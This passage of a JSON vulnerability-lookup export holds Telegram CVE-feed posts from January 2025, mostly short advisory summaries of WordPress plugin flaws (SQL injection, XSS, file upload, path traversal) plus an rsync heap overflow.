preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T12:03:19.000000Z"}, {"uuid": "52642ec5-a088-4ff3-85e3-f3ef7fab42b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12427", "type": "seen", "source": "https://t.me/cvedetector/15578", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12427 - WordPress Multi-Step Form Unauthorized File Upload\", \n  \"Content\": \"CVE ID : CVE-2024-12427 \nPublished : Jan. 16, 2025, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Multi Step Form plugin for WordPress is vulnerable to unauthorized limited file upload due to a missing capability check on the fw_upload_file AJAX action in all versions up to, and including, 1.7.23. This makes it possible for unauthenticated attackers to upload limited file types such as images. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T12:03:18.000000Z"}, {"uuid": "8269c82d-8d7c-4a2a-9bb3-3530fb9d4236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12615", "type": "seen", "source": "https://t.me/cvedetector/15576", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12615 - Wordpress Passwords Manager SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12615 \nPublished : Jan. 16, 2025, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Passwords Manager plugin for WordPress is vulnerable to SQL Injection via the $wpdb->prefix value in several AJAX actions in all versions up to, and including, 1.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T12:03:13.000000Z"}, {"uuid": "579547f5-b570-48e3-96e6-ed25c8f7a274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12614", "type": "seen", "source": "https://t.me/cvedetector/15575", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12614 - WordPress Passwords Manager Invalid Capability Check Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12614 \nPublished : Jan. 16, 2025, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Passwords Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'pms_save_setting' and 'post_new_pass' AJAX actions in all versions up to, and including, 1.4.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugins settings and add passwords. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T12:03:12.000000Z"}, {"uuid": "2f4c5c8b-99be-4731-96b6-2998598f4a8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12226", "type": "seen", "source": "https://t.me/cvedetector/15570", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12226 - Octopus Kubernetes Worker Text-based Data Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12226 \nPublished : Jan. 16, 2025, 7:15 a.m. | 19\u00a0minutes ago \nDescription : In affected versions of the Octopus Kubernetes worker or agent, sensitive variables could be written to the Kubernetes script pod log in clear-text. This was identified in Version 2 however it was determined that this could also be achieved in Version 1 and the fix was applied to both versions accordingly. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T08:42:27.000000Z"}, {"uuid": "a39fa27b-7a92-4a47-8ae9-e695d40fbda6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/cvedetector/15466", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12084 - \"rsync Daemon Heap-Based Buffer Overflow Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12084 \nPublished : Jan. 15, 2025, 3:15 p.m. | 28\u00a0minutes ago \nDescription : A heap-based buffer overflow flaw was found in the rsync daemon. This issue is due to improper handling of attacker-controlled checksum lengths (s2length) in the code. When MAX_DIGEST_LEN exceeds the fixed SUM_LENGTH (16 bytes), an attacker can write out of bounds in the sum2 buffer. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T16:47:58.000000Z"}, {"uuid": "6a47fe98-0b51-4671-aefc-dad41cd97378", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://t.me/cvedetector/14469", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12471 - Dezgo AI Text & Image Generator Plugin for WordPress Arbitrary File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12471 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator plugin for WordPress is vulnerable to arbitrary files uploads due to a missing capability check and file type validation on the add_image_to_library AJAX action function in all versions up to, and including, 1.3.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:31.000000Z"}, {"uuid": "c731abea-c750-4f3e-bbd7-e2623d124c36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12499", "type": "seen", "source": "https://t.me/cvedetector/14489", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12499 - \"WordPress WP jQuery DataTable Stored Cross-Site Scripting (XSS)\"\", \n  \"Content\": \"CVE ID : CVE-2024-12499 \nPublished : Jan. 7, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The WP jQuery DataTable plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp_jdt' shortcode in all versions up to, and including, 4.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:51:02.000000Z"}, {"uuid": "65ad9caf-59f1-4037-aa39-ef61896bcc3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12152", "type": "seen", "source": "https://t.me/cvedetector/14507", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12152 - MIPL WC Multisite Sync Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12152 \nPublished : Jan. 7, 2025, 10:15 a.m. | 39\u00a0minutes ago \nDescription : The MIPL WC Multisite Sync plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.1.5 via the 'mipl_wc_sync_download_log' action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T12:11:48.000000Z"}, {"uuid": "fda8d5a6-edd0-4462-9032-70886430ce45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12719", "type": "seen", "source": "https://t.me/cvedetector/14506", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12719 - WordPress File Upload Plugin Directory Traversalromise\", \n  \"Content\": \"CVE ID : CVE-2024-12719 \nPublished : Jan. 7, 2025, 10:15 a.m. | 39\u00a0minutes ago \nDescription : The WordPress File Upload plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'wfu_ajax_action_read_subfolders' function in all versions up to, and including, 4.24.15. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform limited path traversal to view directories and subdirectories in WordPress. Files cannot be viewed. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T12:11:48.000000Z"}, {"uuid": "5442f614-976b-4a72-804b-57aa41c89424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12699", "type": "seen", "source": "https://t.me/cvedetector/14505", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12699 - WordPress Service Box Plugin Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12699 \nPublished : Jan. 7, 2025, 10:15 a.m. | 39\u00a0minutes ago \nDescription : The Service Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T12:11:47.000000Z"}, {"uuid": "c77371a9-7438-47fd-ba3a-a59423016c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12077", "type": "seen", "source": "https://t.me/cvedetector/14503", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12077 - Booking Calendar and Booking Calendar Pro Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12077 \nPublished : Jan. 7, 2025, 8:15 a.m. | 20\u00a0minutes ago \nDescription : The Booking Calendar and Booking Calendar Pro plugins for WordPress are vulnerable to Reflected Cross-Site Scripting via the \u2018calendar_id\u2019 parameter in all versions up to, and including, 3.2.19 and 11.2.19 respectively, due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T09:41:26.000000Z"}, {"uuid": "411e2463-7228-416d-a17e-2f593ce94c95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12516", "type": "seen", "source": "https://t.me/cvedetector/14497", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12516 - WordPress Coupon Plugin Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12516 \nPublished : Jan. 7, 2025, 8:15 a.m. | 20\u00a0minutes ago \nDescription : The Coupon Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Coupon Code' parameter in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T09:41:18.000000Z"}, {"uuid": "09773236-7818-4aec-b7e2-9bd35b211ece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12202", "type": "seen", "source": "https://t.me/cvedetector/14495", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12202 - Croma Music Plugin for WordPress Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12202 \nPublished : Jan. 7, 2025, 8:15 a.m. | 20\u00a0minutes ago \nDescription : The Croma Music plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'ironMusic_ajax' function in all versions up to, and including, 3.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T09:41:17.000000Z"}, {"uuid": "bcc5bcfd-3209-4879-a7da-f699b9017d68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12781", "type": "seen", "source": "https://t.me/cvedetector/14491", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12781 - Aurum - WordPress & WooCommerce Shopping Theme Remote Data Tampering\", \n  \"Content\": \"CVE ID : CVE-2024-12781 \nPublished : Jan. 7, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The Aurum - WordPress & WooCommerce Shopping Theme theme for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'lab_1cl_demo_install_package_content' function in all versions up to, and including, 4.0.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite content with imported demo content. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:51:06.000000Z"}, {"uuid": "36907029-fdaf-4254-9f84-f6ab558472d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12624", "type": "seen", "source": "https://t.me/cvedetector/14490", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12624 - Elementor Sina Extension Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12624 \nPublished : Jan. 7, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The Sina Extension for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Sina Image Differ widget in all versions up to, and including, 3.5.91 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:51:05.000000Z"}, {"uuid": "04d06cd3-09f4-4dc6-8987-5aad24dd64ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12073", "type": "seen", "source": "https://t.me/cvedetector/14480", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12073 - WordPress Meteor Slides Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12073 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Meteor Slides plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'slide_url_value' parameter in all versions up to, and including, 1.5.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:48.000000Z"}, {"uuid": "aba62103-6cd7-4075-85ec-658460005457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12439", "type": "seen", "source": "https://t.me/cvedetector/14478", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12439 - WordPress Marketplace Items Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12439 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Marketplace Items plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'marketplace' shortcode in all versions up to, and including, 1.5.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:44.000000Z"}, {"uuid": "48bb2fa5-463c-46b1-b24f-ebce2dc01a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12495", "type": "seen", "source": "https://t.me/cvedetector/14488", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12495 - \"WordPress Bootstrap Blocks Stored Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12495 \nPublished : Jan. 7, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The Bootstrap Blocks for WP Editor v2 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gtb-bootstrap/column' block in all versions up to, and including, 2.5.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:51:01.000000Z"}, {"uuid": "1abf7d5d-a164-43fb-addc-bd3d645416ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12437", "type": "seen", "source": "https://t.me/cvedetector/14487", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12437 - WordPress Marketplace Items Stored Cross-Site Scripting Attack\", \n  \"Content\": \"CVE ID : CVE-2024-12437 \nPublished : Jan. 7, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The Marketplace Items plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'envato' shortcode in all versions up to, and including, 1.5.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:51:00.000000Z"}, {"uuid": "b5c22f98-9543-4bd1-b07a-b3ce744652ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12384", "type": "seen", "source": "https://t.me/cvedetector/14483", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12384 - \"Binary MLM Woocommerce Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12384 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Binary MLM Woocommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page\u2019 parameter in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:50.000000Z"}, {"uuid": "54a1ca72-219f-4939-a0cb-18a4a675e17f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12383", "type": "seen", "source": "https://t.me/cvedetector/14482", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12383 - WooCommerce Binary MLM CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12383 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Binary MLM Woocommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0. This is due to missing or incorrect nonce validation on the 'bmw_display_pv_set_page' function and insufficient input sanitization and output escaping of the 'product_points' parameter. This makes it possible for unauthenticated attackers to inject arbitrary web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:50.000000Z"}, {"uuid": "3728bc0d-3b05-4a26-b75e-b60710f0ab57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12261", "type": "seen", "source": "https://t.me/cvedetector/14481", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12261 - SmartEmailing.cz WordPress Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12261 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The SmartEmailing.cz plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'se-lists-updated' parameter in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:49.000000Z"}, {"uuid": "004a0a62-40a2-4497-b056-0e624ff8b525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12438", "type": "seen", "source": "https://t.me/cvedetector/14477", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12438 - WooCommerce FlickRocket Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12438 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The WooCommerce Digital Content Delivery (incl. DRM) \u2013 FlickRocket plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'start_date\u2019 and 'end_date' parameters in all versions up to, and including, 4.74 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:43.000000Z"}, {"uuid": "618d52a2-058f-43de-b5f7-a5138af18205", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12464", "type": "seen", "source": "https://t.me/cvedetector/14476", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12464 - \"Chatroll WordPress Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12464 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Chatroll Live Chat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'chatroll' shortcode in all versions up to, and including, 2.5.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:42.000000Z"}, {"uuid": "268c43a7-c137-4036-ae02-e74ea01a2354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12440", "type": "seen", "source": "https://t.me/cvedetector/14475", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12440 - Candifly for WordPress - Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12440 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Candifly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'candifly' shortcode in all versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts 